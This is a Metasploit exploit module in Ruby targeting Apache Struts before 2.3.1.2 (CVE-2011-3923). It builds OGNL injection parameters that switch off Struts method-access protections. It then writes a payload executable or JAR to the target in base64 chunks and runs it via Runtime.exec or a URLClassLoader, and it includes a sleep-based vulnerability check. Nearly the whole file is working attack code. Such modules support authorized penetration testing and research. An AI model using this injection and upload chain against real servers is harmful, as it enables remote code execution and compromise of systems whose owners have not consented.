##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ParametersInterceptor Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
        for the use of parentheses which in turn allows it to interpret parameter values as
        OGNL expressions during certain exception handling for mismatched data types of
        properties which allows remote attackers to execute arbitrary Java code via a
        crafted parameter.
      },
      'Author'         =>
        [
          'Meder Kydyraliev', # Vulnerability Discovery and PoC
          'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
          'mihi', #ARCH_JAVA support
          'Christian Mehlmauer' # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-3923'],
          [ 'OSVDB', '78501'],
          [ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
          [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
        ],
      'Platform'      => %w{ java linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => '2011-10-01',
      'DefaultTarget' => 2))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.','username']),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
          OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
          OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a&param2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
          OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
    ])
  end

  def parameter
    datastore['PARAMETER']
  end

  def temp_path
    return nil unless datastore['TMP_PATH']
    unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
      fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
    end
    datastore['TMP_PATH']
  end

  def get_parameter
    retval = {}
    return retval unless datastore['GET_PARAMETERS']
    splitted = datastore['GET_PARAMETERS'].split('&')
    return retval if splitted.nil? || splitted.empty?
    splitted.each { |item|
      name, value = item.split('=')
      # no check here, value can be nil if parameter is &param
      decoded_name = name ? Rex::Text::uri_decode(name) : nil
      decoded_value = value ? Rex::Text::uri_decode(value) : nil
      retval[decoded_name] = decoded_value
    }
    retval
  end

  def execute_command(cmd)
    junk = Rex::Text.rand_text_alpha(6)
    inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
    inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
    uri = normalize_uri(datastore['TARGETURI'])
    resp = send_request_cgi({
      'uri'     => uri,
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
    })
    resp
  end

  def exploit
    #Set up generic values.
    payload_exe = rand_text_alphanumeric(4 + rand(4))

    append = false
    #Now arch specific...
    case target['Platform']
    when 'linux'
      pl_exe = generate_payload_exe
      path = temp_path || '/tmp/'
      payload_exe = "#{path}#{payload_exe}"
      chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
      exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
    when 'java'
      payload_exe = "#{temp_path}#{payload_exe}.jar"
      pl_exe = payload.encoded_jar.pack
      exec_cmd = ''
      exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
      exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
      exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
      exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
      exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
      exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
      exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
      exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
    when 'win'
      pl_exe = generate_payload_exe
      path = temp_path || './'
      payload_exe = "#{path}#{payload_exe}.exe"
      exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    print_status("Uploading exploit to #{payload_exe}")
    #Now with all the arch specific stuff set, perform the upload.
    #109 = length of command string plus the max length of append.
    sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
    chunk_length = 2048 - sub_from_chunk
    chunk_length = ((chunk_length/4).floor) * 3
    while pl_exe.length > chunk_length
      java_upload_part(pl_exe[0,chunk_length], payload_exe, append)
      pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
      append = true
    end
    java_upload_part(pl_exe, payload_exe, append)
    print_status("Executing payload")
    execute_command(chmod_cmd) if target['Platform'] == 'linux'
    execute_command(exec_cmd)
    register_files_for_cleanup(payload_exe)
  end

  def java_upload_part(part, filename, append = false)
    cmd = ""
    cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
    cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
    cmd << "#f.close()"
    execute_command(cmd)
  end

  def check
    sleep_time = datastore['CHECK_SLEEPTIME']
    check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
    t1 = Time.now
    vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
    response = execute_command(check_cmd)
    t2 = Time.now
    delta = t2 - t1

    if response.nil?
      return Exploit::CheckCode::Safe
    elsif delta < sleep_time
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Appears
    end
  end
end
